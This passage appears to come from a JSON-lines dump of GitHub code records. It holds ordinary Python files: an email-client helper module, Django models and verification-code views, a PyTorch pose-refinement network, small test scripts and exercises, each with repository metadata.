5.14 -> 514)\n with XYY >= 513\n \"\"\"\n if hasattr(magic, 'open'):\n magic_wrapper = magic._libraries['magic']\n elif hasattr(magic, 'from_buffer'):\n magic_wrapper = magic.libmagic\n else:\n raise Exception('Unknown magic API')\n\n if not hasattr(magic_wrapper, 'magic_version'):\n # The magic_version function has been introduced in libmagic 5.13,\n # if it's not present, we can't guess right, so let's assume False\n return False\n\n # Depending on the libmagic/ctypes version, magic_version is a function or\n # a callable:\n if callable(magic_wrapper.magic_version):\n return magic_wrapper.magic_version() >= version\n\n return magic_wrapper.magic_version >= version\n\n\n# TODO: make this work on blobs, not paths\ndef mimewrap(path, filename=None, ctype=None):\n \"\"\"Take the contents of the given path and wrap them into an email MIME\n part according to the content type. The content type is auto detected from\n the actual file contents and the file name if it is not given.\n\n :param path: the path to the file contents\n :type path: str\n :param filename: the file name to use in the generated MIME part\n :type filename: str or None\n :param ctype: the content type of the file contents in path\n :type ctype: str or None\n :returns: the message MIME part storing the data from path\n :rtype: subclasses of email.mime.base.MIMEBase\n \"\"\"\n\n with open(path, 'rb') as f:\n content = f.read()\n if not ctype:\n ctype = guess_mimetype(content)\n # libmagic < 5.12 incorrectly detects excel/powerpoint files as\n # 'application/msword' (see #179 and #186 in libmagic bugtracker)\n # This is a workaround, based on file extension, useful as long\n # as distributions still ship libmagic 5.11.\n if (ctype == 'application/msword' and\n not libmagic_version_at_least(513)):\n mimetype, _ = mimetypes.guess_type(path)\n if mimetype:\n ctype = mimetype\n\n maintype, subtype = ctype.split('/', 1)\n if maintype == 'text':\n part = MIMEText(content.decode(guess_encoding(content), 'replace'),\n _subtype=subtype,\n _charset='utf-8')\n elif maintype == 'image':\n part = MIMEImage(content, _subtype=subtype)\n elif maintype == 'audio':\n part = MIMEAudio(content, _subtype=subtype)\n else:\n part = MIMEBase(maintype, subtype)\n part.set_payload(content)\n # Encode the payload using Base64\n email.encoders.encode_base64(part)\n # Set the filename parameter\n if not filename:\n filename = os.path.basename(path)\n part.add_header('Content-Disposition', 'attachment',\n filename=filename)\n return part\n\n\ndef shell_quote(text):\n \"\"\"Escape the given text for passing it to the shell for interpretation.\n The resulting string will be parsed into one \"word\" (in the sense used in\n the shell documentation, see sh(1)) by the shell.\n\n :param text: the text to quote\n :type text: str\n :returns: the quoted text\n :rtype: str\n \"\"\"\n return \"'%s'\" % text.replace(\"'\", \"\"\"'\"'\"'\"\"\")\n\n\ndef humanize_size(size):\n \"\"\"Create a nice human readable representation of the given number\n (understood as bytes) using the \"KiB\" and \"MiB\" suffixes to indicate\n kibibytes and mebibytes. A kibibyte is defined as 1024 bytes (as opposed to\n a kilobyte which is 1000 bytes) and a mibibyte is 1024**2 bytes (as opposed\n to a megabyte which is 1000**2 bytes).\n\n :param size: the number to convert\n :type size: int\n :returns: the human readable representation of size\n :rtype: str\n \"\"\"\n for factor, format_string in ((1, '%i'),\n (1024, '%iKiB'),\n (1024 * 1024, '%.1fMiB')):\n if size / factor < 1024:\n return format_string % (size / factor)\n return format_string % (size / factor)\n\n\ndef parse_mailcap_nametemplate(tmplate='%s'):\n \"\"\"this returns a prefix and suffix to be used\n in the tempfile module for a given mailcap nametemplate string\"\"\"\n nt_list = tmplate.split('%s')\n template_prefix = ''\n template_suffix = ''\n if len(nt_list) == 2:\n template_suffix = nt_list[1]\n template_prefix = nt_list[0]\n else:\n template_suffix = tmplate\n return (template_prefix, template_suffix)\n\n\ndef parse_mailto(mailto_str):\n \"\"\"\n Interpret mailto-string\n\n :param mailto_str: the string to interpret. Must conform to :rfc:2368.\n :type mailto_str: str\n :return: the header fields and the body found in the mailto link as a tuple\n of length two\n :rtype: tuple(dict(str->list(str)), str)\n \"\"\"\n if mailto_str.startswith('mailto:'):\n import urllib.parse\n to_str, parms_str = mailto_str[7:].partition('?')[::2]\n headers = {}\n body = ''\n\n to = urllib.parse.unquote(to_str)\n if to:\n headers['To'] = [to]\n\n for s in parms_str.split('&'):\n key, value = s.partition('=')[::2]\n key = key.capitalize()\n if key == 'Body':\n body = urllib.parse.unquote(value)\n elif value:\n headers[key] = [urllib.parse.unquote(value)]\n return (headers, body)\n else:\n return (None, None)\n\n\ndef mailto_to_envelope(mailto_str):\n \"\"\"\n Interpret mailto-string into a :class:`alot.db.envelope.Envelope`\n \"\"\"\n from alot.db.envelope import Envelope\n headers, body = parse_mailto(mailto_str)\n return Envelope(bodytext=body, headers=headers)\n\n\ndef RFC3156_canonicalize(text):\n \"\"\"\n Canonicalizes plain text (MIME-encoded usually) according to RFC3156.\n\n This function works as follows (in that order):\n\n 1. Convert all line endings to \\\\\\\\r\\\\\\\\n (DOS line endings).\n 2. Encode all occurrences of \"From \" at the beginning of a line\n to \"From=20\" in order to prevent other mail programs to replace\n this with \"> From\" (to avoid MBox conflicts) and thus invalidate\n the signature.\n\n :param text: text to canonicalize (already encoded as quoted-printable)\n :rtype: str\n \"\"\"\n text = re.sub(\"\\r?\\n\", \"\\r\\n\", text)\n text = re.sub(\"^From \", \"From=20\", text, flags=re.MULTILINE)\n return text\n\n\ndef get_xdg_env(env_name, fallback):\n \"\"\" Used for XDG_* env variables to return fallback if unset *or* empty \"\"\"\n env = os.environ.get(env_name)\n return env if env else fallback\n\n\ndef get_notmuch_config_path():\n \"\"\" Find the notmuch config file via env vars and default locations \"\"\"\n # This code is modeled after the description in nomtuch-config(1)\n # Case 1 is only applicable for the notmuch CLI\n # Case 2: the NOTMUCH_CONFIG env variable\n value = os.environ.get('NOTMUCH_CONFIG')\n if value is not None:\n return value\n # Case 3: new location in XDG config directory\n profile = os.environ.get('NOTMUCH_PROFILE', 'default')\n value = os.path.join(get_xdg_env('XDG_CONFIG_HOME',\n os.path.expanduser('~/.config')),\n 'notmuch', profile, 'config')\n if os.path.exists(value):\n return value\n # Case 4: traditional location in $HOME\n profile = os.environ.get('NOTMUCH_PROFILE', '')\n if profile:\n profile = '.' + profile\n return os.path.expanduser('~/.notmuch-config' + profile)\n", "repo_name": "pazz/alot", "sub_path": "alot/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 20665, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 666, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.split", "line_number": 26, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 134, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 219, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 219, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 221, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 222, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 222, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 231, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 233, "usage_type": "call"}, {"api_name": "urwid.util", "line_number": 259, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 264, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 265, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 267, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 268, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 269, "usage_type": "attribute"}, {"api_name": "urwid.util", "line_number": 300, "usage_type": "attribute"}, {"api_name": "os.environ.copy", "line_number": 303, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 303, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 306, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 307, "usage_type": "call"}, {"api_name": "asyncio.create_subprocess_exec", "line_number": 309, "usage_type": "call"}, {"api_name": "asyncio.subprocess", "line_number": 312, "usage_type": "attribute"}, {"api_name": "asyncio.subprocess", "line_number": 313, "usage_type": "attribute"}, {"api_name": "asyncio.subprocess", "line_number": 314, "usage_type": "attribute"}, {"api_name": "magic.open", "line_number": 343, "usage_type": "call"}, {"api_name": "magic.MAGIC_MIME_TYPE", "line_number": 343, "usage_type": "attribute"}, {"api_name": "magic.from_buffer", "line_number": 348, "usage_type": "call"}, {"api_name": "re.match", "line_number": 353, "usage_type": "call"}, {"api_name": "magic.open", "line_number": 379, "usage_type": "call"}, {"api_name": "magic.MAGIC_MIME_ENCODING", "line_number": 379, "usage_type": "attribute"}, {"api_name": "magic.Magic", "line_number": 383, "usage_type": "call"}, {"api_name": "magic._libraries", "line_number": 409, "usage_type": "attribute"}, {"api_name": "magic.libmagic", "line_number": 411, "usage_type": "attribute"}, {"api_name": "mimetypes.guess_type", "line_number": 454, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 460, "usage_type": "call"}, {"api_name": "email.mime.image.MIMEImage", "line_number": 464, "usage_type": "call"}, {"api_name": "email.mime.audio.MIMEAudio", "line_number": 466, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 468, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 471, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 471, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 474, "usage_type": "call"}, {"api_name": "os.path", "line_number": 474, "usage_type": "attribute"}, {"api_name": "urllib.parse.parse.unquote", "line_number": 543, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 543, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 543, "usage_type": "name"}, {"api_name": "urllib.parse.parse.unquote", "line_number": 551, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 551, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 551, "usage_type": "name"}, {"api_name": "urllib.parse.parse.unquote", "line_number": 553, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 553, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 553, "usage_type": "name"}, {"api_name": "alot.db.envelope.Envelope", "line_number": 565, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 583, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 584, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 584, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 590, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 590, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 599, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 599, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 603, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 603, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 604, "usage_type": "call"}, {"api_name": "os.path", "line_number": 604, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 605, "usage_type": "call"}, {"api_name": "os.path", "line_number": 605, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 607, "usage_type": "call"}, {"api_name": "os.path", "line_number": 607, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 610, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 610, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 613, "usage_type": "call"}, {"api_name": "os.path", "line_number": 613, "usage_type": "attribute"}]} {"seq_id": "11640686395", "text": "import json\n\ndef cli(configs):\n script_path = '_clients/sim_controller/sio_client.py'\n\n if 'server' not in configs:\n return None, None\n\n host = configs['server']['host']\n port = str(configs['server']['port'])\n\n args = []\n if host:\n args.append('--host=' + host)\n if port:\n args.append('--port=' + port)\n args.append('--config=' + json.dumps(configs))\n return (script_path, args)\n", "repo_name": "trex-ai/TREX-Core", "sub_path": "_utils/runner/make/sim_controller.py", "file_name": "sim_controller.py", "file_ext": "py", "file_size_in_byte": 427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.dumps", "line_number": 17, "usage_type": "call"}]} {"seq_id": "27549585999", "text": "from django.db import models\nfrom django.db.models import Count\n\n\nclass SubwordText(models.Model):\n name = models.CharField(max_length=100, unique=True)\n\n def __str__(self):\n return self.name\n\n\nclass SubwordAlias(models.Model):\n identifier = models.CharField(max_length=100, unique=True)\n texts = models.ManyToManyField(SubwordText)\n processed = models.BooleanField(default=False)\n\n @staticmethod\n def for_texts(texts):\n result = SubwordAlias.objects.filter(texts__in=texts).annotate(num_texts=Count(\"texts\")) \\\n .filter(num_texts=len(texts))\n for r in result:\n if len(r.identifier.split(\",\")) == len(texts):\n return r", "repo_name": "Madjura/sprachatlas", "sub_path": "subwordapp/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.models.Model", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 6, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 19, "usage_type": "call"}]} {"seq_id": "4713575845", "text": "from util import logger\nimport logging\nfrom util.Visualizer import FrankFancyStreamingInterface\nimport os.path\nfrom core.slotframe import Slotframe, Cell\nimport time\n\nlogg = logging.getLogger('RiSCHER')\nlogg.setLevel(logging.DEBUG)\n\nconsoleLogger = logging.StreamHandler()\nconsoleLogger.setFormatter(logging.Formatter(fmt='%(asctime)s.%(msecs)03d\\t%(levelname)s: %(message)s', datefmt='%H:%M:%S'))\nconsoleLogger.setLevel(logging.DEBUG)\n\ntemp = logging.getLogger('zmq')\ntemp.setLevel(logging.DEBUG)\ntemp.addHandler(consoleLogger)\n\nif __name__ == '__main__':\n\tvisualizer = {\n\t\t\"name\"\t:\t\"plexi1\",\n\t\t\"Key\"\t:\tos.path.join(\"keys\", \"plexi1.key_secret\"),\n\t\t\"VHost\"\t:\t\"192.168.64.1\"\n\t}\n\tlogg.info(\"Starting VisualizerTest\")\n\n\tlogg.info(\"Booting Streamer Interface\")\n\tStreamer = FrankFancyStreamingInterface(visualizer[\"name\"], None, visualizer[\"VHost\"],ZeromqHost=\"*\", root_id=\"n1\")\n\tlogg.info(\"Streamer Interface booted\")\n\ttime.sleep(5)\n\tStreamer.RegisterFrame(11, \"broadcast\")\n\tStreamer.RegisterFrames([{\n\t\t\"id\"\t: \"broadcast\",\n\t\t\"cells\"\t: 11\n\t}])\n\ttime.sleep(5)\n\tStreamer.AddNode(\"n1\", \"root\")\n\ttime.sleep(5)\n\tStreamer.AddNode(\"n2\", \"n1\")\n\ttime.sleep(5)\n\tStreamer.AddNode(\"n3\", \"n1\")\n\tStreamer.DumpDotData()\n\ttime.sleep(5)\n\tStreamer.ChangeCell(\"n1\", 0, 0, \"broadcast\", \"cell\", 1)\n\ttime.sleep(5)\n\tStreamer.ChangeCell(\"n2\", 0, 1, \"broadcast\", \"cell\", 1)\n\ttime.sleep(5)\n\tStreamer.ChangeCell(\"n3\", 0, 2, \"broadcast\", \"cell\", 1)\n\ttime.sleep(5)\n\tStreamer.RewireNode(\"n3\", \"n1\", \"n2\")\n\tStreamer.DumpDotData()\n\ttime.sleep(5)\n\tStreamer.RemoveNode(\"n3\")\n\tStreamer.DumpDotData()\n\ttime.sleep(5)\n\tif hasattr(Streamer, 'auth'):\n\t\tStreamer.auth.stop()\n\tlogg.info(\"VisualizerTest done\")\n", "repo_name": "gexarchakos/plexi", "sub_path": "example/VisualizerTest.py", "file_name": "VisualizerTest.py", "file_ext": "py", "file_size_in_byte": 1664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 22, "usage_type": "name"}, {"api_name": "util.Visualizer.FrankFancyStreamingInterface", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]} {"seq_id": "33246400617", "text": "from typing import List\n\n# O(n**2) solution, best case\n\n\ndef set_zeros(matrix: List[List[int]]):\n \"\"\"\n Sets zeros for all values in same row and column as existing zeroes.\n \"\"\"\n rows = []\n columns = []\n for i in range(len(matrix)):\n for j in range(len(matrix[0])):\n if matrix[i][j] == 0:\n rows.append(i)\n columns.append(j)\n for r in rows:\n nullify_row(matrix, r)\n for c in columns:\n nullify_column(matrix, c)\n\n\ndef nullify_row(matrix: List[List[int]], row: int):\n \"\"\"\n Set zeros for all values in a given row of a matrix.\n \"\"\"\n for i in range(len(matrix[0])):\n matrix[row][i] = 0\n\n\ndef nullify_column(matrix: List[List[int]], column: int):\n \"\"\"\n Set zeros for all values in a given column of a matrix.\n \"\"\"\n for i in range(len(matrix)):\n matrix[i][column] = 0\n\n\ndef print_matrix(matrix: List[List[int]]):\n \"\"\"\n Prints matrix row by row.\n \"\"\"\n for m in matrix:\n print(m)\n print('====================')\n\n\nif __name__ == \"main\":\n matrix1 = [\n [2, 2, 2, 2, 2],\n [2, 2, 0, 2, 2],\n [2, 2, 2, 2, 2],\n [2, 2, 2, 2, 2]\n ]\n\n print_matrix(matrix1)\n set_zeros(matrix1)\n print_matrix(matrix1)\n", "repo_name": "Onteri/ctci_6th_edition", "sub_path": "chapter_1_arrays_strings/python/1.8-zero_matrix.py", "file_name": "1.8-zero_matrix.py", "file_ext": "py", "file_size_in_byte": 1269, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 39, "usage_type": "name"}]} {"seq_id": "36561978946", "text": "import aiohttp\nfrom aiohttp import web\n\n\nasync def handle(request):\n delay = request.match_info.get('delay', 2)\n response = await aiohttp.get('https://httpbin.org/delay/{}'.format(delay))\n response.close()\n return web.Response(text='{}-{}'.format(delay, response.status))\n\nif __name__ == \"__main__\":\n app = web.Application()\n app.router.add_get('/{delay}/', handle)\n\n web.run_app(app)\n", "repo_name": "drgarcia1986/bev-py-concurrency", "sub_path": "a-concurrent/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "aiohttp.get", "line_number": 7, "usage_type": "call"}, {"api_name": "aiohttp.web.Response", "line_number": 9, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 9, "usage_type": "name"}, {"api_name": "aiohttp.web.Application", "line_number": 12, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 12, "usage_type": "name"}, {"api_name": "aiohttp.web.run_app", "line_number": 15, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 15, "usage_type": "name"}]} {"seq_id": "44383885479", "text": "from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport torch.nn as nn\nimport torch\n\n\ndef weight_init(m):\n if isinstance(m, nn.Linear):\n nn.init.kaiming_normal_(m.weight)\n # nn.init.constant_(m.weight, 0.)\n # nn.init.constant_(m.bias, 0.)\n\n\nclass LinearPG(nn.Module):\n def __init__(self, linear_size, p_dropout=0.5, bias=True, bn=True, leaky=False):\n super(LinearPG, self).__init__()\n self.l_size = linear_size\n self.bn = bn\n self.leaky = leaky\n\n if self.leaky:\n self.relu = nn.LeakyReLU(inplace=True)\n else:\n self.relu = nn.ReLU(inplace=True)\n\n self.dropout = nn.Dropout(p_dropout)\n\n self.w1 = nn.Linear(self.l_size, self.l_size, bias=bias)\n self.w2 = nn.Linear(self.l_size, self.l_size, bias=bias)\n self.w3 = nn.Linear(self.l_size, self.l_size, bias=bias)\n self.w4 = nn.Linear(self.l_size, self.l_size, bias=bias)\n\n if self.bn:\n self.batch_norm1 = nn.BatchNorm1d(self.l_size)\n self.batch_norm2 = nn.BatchNorm1d(self.l_size)\n self.batch_norm3 = nn.BatchNorm1d(self.l_size)\n self.batch_norm4 = nn.BatchNorm1d(self.l_size)\n\n def forward(self, x):\n y = self.w1(x)\n if self.bn:\n y = self.batch_norm1(y)\n y = self.relu(y)\n y = self.dropout(y)\n\n y = self.w2(y)\n if self.bn:\n y = self.batch_norm2(y)\n y = self.relu(y)\n y = self.dropout(y)\n\n out = x + y\n\n y = self.w3(out)\n if self.bn:\n y = self.batch_norm3(y)\n y = self.relu(y)\n y = self.dropout(y)\n\n y = self.w4(y)\n if self.bn:\n y = self.batch_norm4(y)\n y = self.relu(y)\n y = self.dropout(y)\n\n out = out + y\n\n return out\n\n\nclass LinearModelPG(nn.Module):\n def __init__(self,\n linear_size=1024,\n num_stage=2,\n p_dropout=0.5,\n input_size=15*3,\n output_size=15*3,\n bias=True,\n bn=True,\n leaky=False):\n super(LinearModelPG, self).__init__()\n\n self.linear_size = linear_size\n self.bn = bn\n self.leaky = leaky\n self.p_dropout = p_dropout\n self.num_stage = num_stage\n # 2d joints\n self.input_size = input_size\n # 3d joints\n self.output_size = output_size\n\n self.linear_stages = []\n for l in range(num_stage):\n self.linear_stages.append(LinearPG(self.linear_size, self.p_dropout, bias=bias, bn=self.bn,\n leaky=self.leaky))\n self.linear_stages = nn.ModuleList(self.linear_stages)\n\n self.w1 = nn.Linear(self.input_size, self.linear_size, bias=bias)\n self.w2 = nn.Linear(self.linear_size, self.output_size, bias=bias)\n self.w3 = nn.Linear(self.output_size, self.linear_size, bias=bias)\n self.w4 = nn.Linear(self.linear_size, self.output_size, bias=bias)\n\n if self.leaky:\n self.relu = nn.LeakyReLU(inplace=True)\n else:\n self.relu = nn.ReLU(inplace=True)\n\n if self.bn:\n self.batch_norm1 = nn.BatchNorm1d(self.linear_size)\n self.batch_norm3 = nn.BatchNorm1d(self.linear_size)\n\n self.dropout = nn.Dropout(self.p_dropout)\n\n\n def forward(self, x):\n # pre-processing\n y = self.w1(x)\n if self.bn:\n y = self.batch_norm1(y)\n y = self.relu(y)\n inp = self.dropout(y)\n\n s1 = self.linear_stages[0](inp)\n\n p1 = self.w2(s1)\n\n y = self.w3(p1)\n if self.bn:\n y = self.batch_norm3(y)\n y = self.relu(y)\n y = self.dropout(y)\n\n y = s1 + y + inp\n\n y = self.linear_stages[1](y)\n\n y = inp + y\n\n p2 = self.w4(y)\n\n return p1, p2\n\n\ndef get_model(weights, **kwargs):\n model = LinearModelPG(**kwargs)\n if weights:\n model.load_state_dict(torch.load(weights)['state_dict'])\n return model\n\n\nif __name__ == '__main__':\n model = LinearModelPG(input_size=16*3)\n\n inp = torch.randn(64,48)\n\n output = model(inp)\n\n print(output[0].shape)\n", "repo_name": "mkocabas/EpipolarPose", "sub_path": "refiner/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 577, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Linear", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 156, "usage_type": "call"}]} {"seq_id": "15164495132", "text": "import random\r\n\r\nfrom django import http\r\nfrom django.views import View\r\nfrom django_redis import get_redis_connection\r\n\r\nfrom celery_tasks.sms.tasks import send_sms_code\r\nfrom utils.response_code import RETCODE\r\nfrom . import constants\r\nfrom .libs.captcha.captcha import captcha\r\n\r\n\r\n# Create your views here.\r\n\r\nclass ImageCodeView(View):\r\n \"\"\"图形验证码\"\"\"\r\n\r\n def get(self, request, uuid):\r\n \"\"\"\r\n\r\n :param request: 接收路径中校验过后的参数 re_path\r\n :param uuid: 通用唯一识别符，用于区别图片验证码属于哪个用户\r\n :return:图片image/jpg\r\n \"\"\"\r\n # 生成图片验证码\r\n text, image = captcha.generate_captcha()\r\n # print(text,image)\r\n # 保存图片验证码到redis中 链接验证码redis库\r\n # 1.建立redis链接\r\n redis_conn = get_redis_connection(alias='verify_code')\r\n # 2.保存数据 name time value\r\n redis_conn.setex(f'img_{uuid}', constants.IMAGE_CODE_REDIS_EXPIRES, text)\r\n\r\n # 响应图形验证码（将图片返回给前端） 返回值为图片验证码\r\n return http.HttpResponse(image, content_type='image/png')\r\n\r\n\r\nclass SMSCodeView(View):\r\n \"\"\"短信验证码\"\"\"\r\n\r\n def get(self, request, mobile):\r\n \"\"\"\r\n\r\n :param request:\r\n :param mobile: 手机号\r\n :return:json\r\n \"\"\"\r\n # 接收参数，校验参数\r\n uuid = 